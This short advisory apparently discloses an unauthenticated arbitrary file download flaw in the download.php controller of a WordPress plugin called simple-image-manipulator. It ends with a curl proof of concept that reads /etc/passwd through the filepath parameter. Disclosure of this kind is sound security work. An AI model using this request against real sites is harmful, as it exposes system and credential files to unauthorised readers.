Plugin is still affected and has been closed. In ./simple-image-manipulator/controller/download.php no checks are made to authenticate the user or sanitize input when determining file location.
$ curl "http://www.vapidlabs.com/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd"